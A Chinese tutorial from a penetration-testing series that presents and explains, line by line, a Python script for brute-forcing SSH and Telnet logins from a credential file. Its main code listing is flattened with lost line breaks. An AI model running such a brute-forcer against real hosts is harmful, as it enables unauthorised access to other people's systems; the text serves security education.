Python 实战:内网渗透中的信息收集自动化脚本(3)
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
这次主要介绍检测目标主机的ssh或者telnet是否存在默认凭据登录的脚本,相当于爆破ssh,telnet所在端口的账户,密码。类似的工具相信大家不会陌生,九头蛇(hydra)或者美杜莎(Medusa).
import paramiko
import telnetlib
import time
import argparse
from typing import Tuple, Optionaldef SSHLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:"""通过SSH协议尝试登录目标主机:param host: 目标主机IP或域名:param port: 目标端口:param username: 用户名:param password: 密码:param timeout: 超时时间(秒):return: 登录成功返回True,否则返回False"""ssh = Nonetry:ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect(hostname=host,port=port,username=username,password=password,timeout=timeout,allow_agent=False,look_for_keys=False)# 验证会话是否活跃if ssh.get_transport().is_active():print(f"[+] SSH登录成功 {host}:{port} - {username}:{password}")return Trueexcept paramiko.AuthenticationException:print(f"[-] SSH认证失败 {host}:{port} - {username}:{password}")except paramiko.SSHException as e:print(f"[-] SSH连接错误 {host}:{port} - {str(e)}")except (TimeoutError, ConnectionRefusedError):print(f"[-] SSH连接超时/被拒绝 {host}:{port}")except Exception as e:print(f"[-] SSH未知错误 {host}:{port} - {str(e)}")finally:if ssh:try:ssh.close()except:passreturn Falsedef TelnetLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:"""通过Telnet协议尝试登录目标主机:param host: 目标主机IP或域名:param port: 目标端口:param username: 用户名:param password: 密码:param timeout: 超时时间(秒):return: 登录成功返回True,否则返回False"""tn = Nonetry:# 修复原代码中错误的HTTP前缀问题tn = telnetlib.Telnet(host, port, timeout=timeout)# 更灵活的登录提示符处理prompts = tn.expect([b"login:", b"Username:", b"user:"], timeout=timeout)if prompts[0] == -1:print(f"[-] Telnet未找到用户名提示符 {host}:{port}")return Falsetn.write(f"{username}\n".encode('utf-8'))pass_prompts = tn.expect([b"Password:", b"password:"], timeout=timeout)if pass_prompts[0] == -1:print(f"[-] Telnet未找到密码提示符 {host}:{port}")return Falsetn.write(f"{password}\n".encode('utf-8'))# 等待登录结果time.sleep(1)result = tn.expect([b"Last login", b"Welcome", b"$", b">#"], timeout=timeout)if result[0] > -1:print(f"[+] Telnet登录成功 {host}:{port} - {username}:{password}")return Trueelse:print(f"[-] Telnet登录失败 {host}:{port} - {username}:{password}")except EOFError:print(f"[-] Telnet连接被关闭 {host}:{port} - {username}:{password}")except (TimeoutError, ConnectionRefusedError):print(f"[-] Telnet连接超时/被拒绝 {host}:{port}")except Exception as e:print(f"[-] Telnet未知错误 {host}:{port} - {str(e)}")finally:if tn:try:tn.close()except:passreturn Falsedef load_credentials(filename: str) -> list[Tuple[str, str]]:"""从文件加载用户名密码组合:param filename: 凭据文件路径:return: 用户名密码元组列表"""credentials = []try:with open(filename, 'r', encoding='utf-8') as f:for line_num, line in enumerate(f, 1):line = line.strip()if not line or line.startswith('#'): # 跳过空行和注释continueparts = line.split(maxsplit=1) # 允许密码包含空格if len(parts) == 2:credentials.append((parts[0].strip(), parts[1].strip()))else:print(f"[!] 凭据文件格式错误,行 {line_num}: {line}")except FileNotFoundError:print(f"[!] 凭据文件 {filename} 未找到")except Exception as e:print(f"[!] 加载凭据文件错误: {str(e)}")return credentialsdef main():# 命令行参数解析parser = argparse.ArgumentParser(description='默认凭据检测工具')parser.add_argument('-H', '--host', required=True, help='目标主机IP或域名')parser.add_argument('-P', '--port', type=int, help='目标端口(默认SSH:22, Telnet:23)')parser.add_argument('-s', '--service', choices=['ssh', 'telnet', 'both'], default='both',help='检测的服务类型(默认: both)')parser.add_argument('-f', '--file', default='defaults.txt', help='凭据文件路径(默认: defaults.txt)')parser.add_argument('-t', '--timeout', type=int, default=10, help='超时时间(秒)(默认: 10)')parser.add_argument('-d', '--delay', type=float, default=0.5, help='尝试间隔时间(秒)(默认: 0.5)')args = parser.parse_args()# 确定端口ssh_port = args.port if args.port else 22telnet_port = args.port if args.port else 23# 加载凭据credentials = load_credentials(args.file)if not credentials:print("[!] 未加载到任何凭据,退出程序")returnprint(f"[*] 开始检测目标 {args.host},共加载 {len(credentials)} 组凭据")# 尝试登录for username, password in credentials:if args.service in ['ssh', 'both']:SSHLogin(args.host, ssh_port, username, password, args.timeout)if args.service in ['telnet', 'both']:TelnetLogin(args.host, telnet_port, username, password, args.timeout)# 避免过于频繁的尝试time.sleep(args.delay)if __name__ == "__main__":main()
1.导入依赖库
import paramiko
import telnetlib
import time
import argparse
from typing import Tuple, Optional
paramiko
:这是 Python 中用于 SSH 协议操作的第三方库,提供了 SSH 客户端和服务器的实现,这里用于创建 SSH 连接并尝试登录telnetlib
:Python 标准库中的 Telnet 客户端模块,用于处理 Telnet 协议的通信time
:提供时间相关的功能,这里主要用于控制登录尝试之间的间隔时间argparse
:用于解析命令行参数,让用户可以通过命令行设置工具的各种参数typing
模块:提供类型提示功能,Tuple
用于指定元组类型,增强代码的可读性和 IDE 的类型检查
2.SSHLogin 函数
函数定义与文档字符串
def SSHLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:"""通过SSH协议尝试登录目标主机:param host: 目标主机IP或域名:param port: 目标端口:param username: 用户名:param password: 密码:param timeout: 超时时间(秒):return: 登录成功返回True,否则返回False"""
初始化与连接准备
ssh = Nonetry:ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh = None
:先初始化变量,避免在异常处理时引用未定义的变量paramiko.SSHClient()
:创建 SSH 客户端对象set_missing_host_key_policy(paramiko.AutoAddPolicy())
:设置未知主机密钥的处理策略,AutoAddPolicy
表示自动接受未知的主机密钥(在安全测试场景常用,但生产环境需谨慎)
尝试 SSH 连接
ssh.connect(hostname=host,port=port,username=username,password=password,timeout=timeout,allow_agent=False,look_for_keys=False)
ssh.connect()
:尝试连接到目标 SSH 服务allow_agent=False
:禁用 SSH 代理,确保不会使用系统中的 SSH 代理进行认证look_for_keys=False
:禁用查找本地密钥文件,确保只使用提供的密码进行认证(不依赖本地的 id_rsa 等密钥文件)
验证登录状态
# 验证会话是否活跃if ssh.get_transport().is_active():print(f"[+] SSH登录成功 {host}:{port} - {username}:{password}")return True
ssh.get_transport().is_active()
:检查 SSH 传输通道是否处于活跃状态,用于确认登录是否成功- 成功则打印带有
[+]
标记的成功信息,并返回True
异常处理
except paramiko.AuthenticationException:print(f"[-] SSH认证失败 {host}:{port} - {username}:{password}")except paramiko.SSHException as e:print(f"[-] SSH连接错误 {host}:{port} - {str(e)}")except (TimeoutError, ConnectionRefusedError):print(f"[-] SSH连接超时/被拒绝 {host}:{port}")except Exception as e:print(f"[-] SSH未知错误 {host}:{port} - {str(e)}")
- 分层捕获不同类型的异常,使错误信息更具体:
AuthenticationException
:明确捕获认证失败(用户名 / 密码错误)SSHException
:捕获 SSH 协议相关的错误TimeoutError, ConnectionRefusedError
:捕获连接超时或被拒绝的情况- 通用
Exception
:作为保底,捕获其他未预料到的错误
- 错误信息使用
[-]
标记,便于区分成功与失败记录
资源清理
finally:if ssh:try:ssh.close()except:passreturn False
finally
块确保无论是否发生异常,都会执行资源清理操作- 检查
ssh
对象是否存在,避免NoneType
错误 - 嵌套
try-except
确保关闭连接时的错误不会影响主程序 - 函数默认返回
False
(只有登录成功时才会提前返回True
)
3. TelnetLogin 函数
函数定义与文档字符串
def TelnetLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:"""通过Telnet协议尝试登录目标主机:param host: 目标主机IP或域名:param port: 目标端口:param username: 用户名:param password: 密码:param timeout: 超时时间(秒):return: 登录成功返回True,否则返回False"""
- 与
SSHLogin
类似的函数定义,参数和返回值含义相同 - 文档字符串说明这是用于 Telnet 协议登录的函数
初始化 Telnet 连接
tn = Nonetry:tn = telnetlib.Telnet(host, port, timeout=timeout)
tn = None
:初始化变量,避免后续引用问题telnetlib.Telnet(...)
:创建 Telnet 客户端对象并尝试连接目标主机
处理用户名输入
# 更灵活的登录提示符处理prompts = tn.expect([b"login:", b"Username:", b"user:"], timeout=timeout)if prompts[0] == -1:print(f"[-] Telnet未找到用户名提示符 {host}:{port}")return Falsetn.write(f"{username}\n".encode('utf-8'))
tn.expect(...)
:等待目标返回指定的提示符,参数是字节序列列表(因为 Telnet 传输的是字节)- 支持多种可能的用户名提示符(
login:
,Username:
,user:
),适应不同设备的提示风格 - 返回值是一个元组
(匹配索引, 匹配对象, 字节数据)
- 支持多种可能的用户名提示符(
prompts[0] == -1
:表示没有匹配到任何提示符,登录流程无法继续tn.write(...)
:发送用户名,需要先编码为字节流(utf-8
编码),并添加换行符\n
模拟回车
处理密码输入
pass_prompts = tn.expect([b"Password:", b"password:"], timeout=timeout)if pass_prompts[0] == -1:print(f"[-] Telnet未找到密码提示符 {host}:{port}")return Falsetn.write(f"{password}\n".encode('utf-8'))
- 与处理用户名类似,等待密码提示符(支持大小写形式)
- 发送密码(同样需要编码为字节流并添加换行符)
验证 Telnet 登录结果
# 等待登录结果time.sleep(1)result = tn.expect([b"Last login", b"Welcome", b"$", b">#"], timeout=timeout)if result[0] > -1:print(f"[+] Telnet登录成功 {host}:{port} - {username}:{password}")return Trueelse:print(f"[-] Telnet登录失败 {host}:{port} - {username}:{password}")
time.sleep(1)
:等待 1 秒,给服务器足够时间处理登录请求tn.expect(...)
:通过检测登录成功后的典型提示信息来判断是否登录成功Last login
:常见于 Linux 系统的登录成功提示Welcome
:通用的欢迎信息$
,#
:命令行提示符(普通用户和管理员)
result[0] > -1
:表示匹配到了成功标识,登录成功
异常处理与资源清理
except EOFError:print(f"[-] Telnet连接被关闭 {host}:{port} - {username}:{password}")except (TimeoutError, ConnectionRefusedError):print(f"[-] Telnet连接超时/被拒绝 {host}:{port}")except Exception as e:print(f"[-] Telnet未知错误 {host}:{port} - {str(e)}")finally:if tn:try:tn.close()except:passreturn False
- 异常处理逻辑与
SSHLogin
类似,但针对 Telnet 的特点增加了EOFError
(连接被意外关闭) - 同样在
finally
块中确保 Telnet 连接被关闭 - 默认返回
False
,只有登录成功时返回True
4. load_credentials 函数
函数定义与文档字符串
def load_credentials(filename: str) -> list[Tuple[str, str]]:"""从文件加载用户名密码组合:param filename: 凭据文件路径:return: 用户名密码元组列表"""
- 函数返回值类型
list[Tuple[str, str]]
表示 "字符串元组的列表",即每个元素是一个包含两个字符串(用户名和密码)的元组
初始化与文件读取
credentials = []try:with open(filename, 'r', encoding='utf-8') as f:for line_num, line in enumerate(f, 1):line = line.strip()if not line or line.startswith('#'): # 跳过空行和注释continue
credentials = []
:初始化空列表存储凭据with open(...)
:使用上下文管理器打开文件,自动处理文件关闭enumerate(f, 1)
:获取行号(从 1 开始计数,符合实际文件行号习惯)line.strip()
:去除行首尾的空白字符(空格、换行符等)if not line or line.startswith('#')
:跳过空行和以#
开头的注释行
解析凭据行
parts = line.split(maxsplit=1) # 允许密码包含空格if len(parts) == 2:credentials.append((parts[0].strip(), parts[1].strip()))else:print(f"[!] 凭据文件格式错误,行 {line_num}: {line}")
line.split(maxsplit=1)
:只分割第一个空格,允许密码中包含空格(例如 "admin pass123" 会被正确分割为用户名 "admin" 和密码 "pass123")- 检查分割结果是否为两部分(用户名和密码),符合格式则添加到凭据列表
- 格式错误则输出警告信息,包含行号便于用户排查凭据文件问题
异常处理
except FileNotFoundError:print(f"[!] 凭据文件 {filename} 未找到")except Exception as e:print(f"[!] 加载凭据文件错误: {str(e)}")return credentials
- 专门处理
FileNotFoundError
(文件不存在),错误信息更明确 - 通用异常捕获其他可能的文件读取错误(如权限问题、编码问题等)
- 返回加载到的凭据列表(可能为空)
5. main 函数 - 详细拆解
命令行参数解析
# 命令行参数解析parser = argparse.ArgumentParser(description='默认凭据检测工具')parser.add_argument('-H', '--host', required=True, help='目标主机IP或域名')parser.add_argument('-P', '--port', type=int, help='目标端口(默认SSH:22, Telnet:23)')parser.add_argument('-s', '--service', choices=['ssh', 'telnet', 'both'], default='both',help='检测的服务类型(默认: both)')parser.add_argument('-f', '--file', default='defaults.txt', help='凭据文件路径(默认: defaults.txt)')parser.add_argument('-t', '--timeout', type=int, default=10, help='超时时间(秒)(默认: 10)')parser.add_argument('-d', '--delay', type=float, default=0.5, help='尝试间隔时间(秒)(默认: 0.5)')args = parser.parse_args()
argparse.ArgumentParser
:创建命令行参数解析器- 定义的参数说明:
-H/--host
:必填参数,目标主机地址-P/--port
:可选参数,指定端口(不指定则使用默认端口)-s/--service
:指定检测的服务类型,只能是ssh
、telnet
或both
(默认)-f/--file
:凭据文件路径(默认defaults.txt
)-t/--timeout
:连接超时时间(默认 10 秒)-d/--delay
:每次尝试之间的间隔时间(默认 0.5 秒)
args = parser.parse_args()
:解析命令行参数并存储到args
对象
确定服务端口
# 确定端口ssh_port = args.port if args.port else 22telnet_port = args.port if args.port else 23
- 如果用户通过
-P
指定了端口,则 SSH 和 Telnet 都使用该端口 - 未指定时,使用默认端口(SSH:22,Telnet:23)
- 这样设计允许用户灵活测试非标准端口上的服务
加载凭据并检查
# 加载凭据credentials = load_credentials(args.file)if not credentials:print("[!] 未加载到任何凭据,退出程序")return
- 调用
load_credentials
函数加载凭据文件 - 如果凭据列表为空(加载失败或文件中没有有效凭据),则输出提示并退出程序
执行登录尝试
print(f"[*] 开始检测目标 {args.host},共加载 {len(credentials)} 组凭据")# 尝试登录for username, password in credentials:if args.service in ['ssh', 'both']:SSHLogin(args.host, ssh_port, username, password, args.timeout)if args.service in ['telnet', 'both']:TelnetLogin(args.host, telnet_port, username, password, args.timeout)# 避免过于频繁的尝试time.sleep(args.delay)
- 打印开始信息,包含目标主机和凭据数量
- 循环遍历所有凭据,对每个用户名 / 密码组合:
- 根据服务类型选择调用
SSHLogin
、TelnetLogin
或两者 - 每次尝试后等待
args.delay
秒,避免请求过于频繁(防止被目标主机限制或视为攻击)
- 根据服务类型选择调用
6. 程序入口
if __name__ == "__main__":main()
- 这是 Python 的标准程序入口写法
- 当脚本被直接运行时(
__name__ == "__main__"
为真),调用main()
函数启动程序 - 如果脚本被作为模块导入,则不会自动执行
main()
函数
通过此代码,我们了解了ssh以及telnet爆破的内在逻辑,了解其基本原理,上面代码能够进行基本使用,想要功能能够更加强大,需要不断优化以及改进。再次提醒,爆破的成功在于有一个强大的字典,这是必不可少的。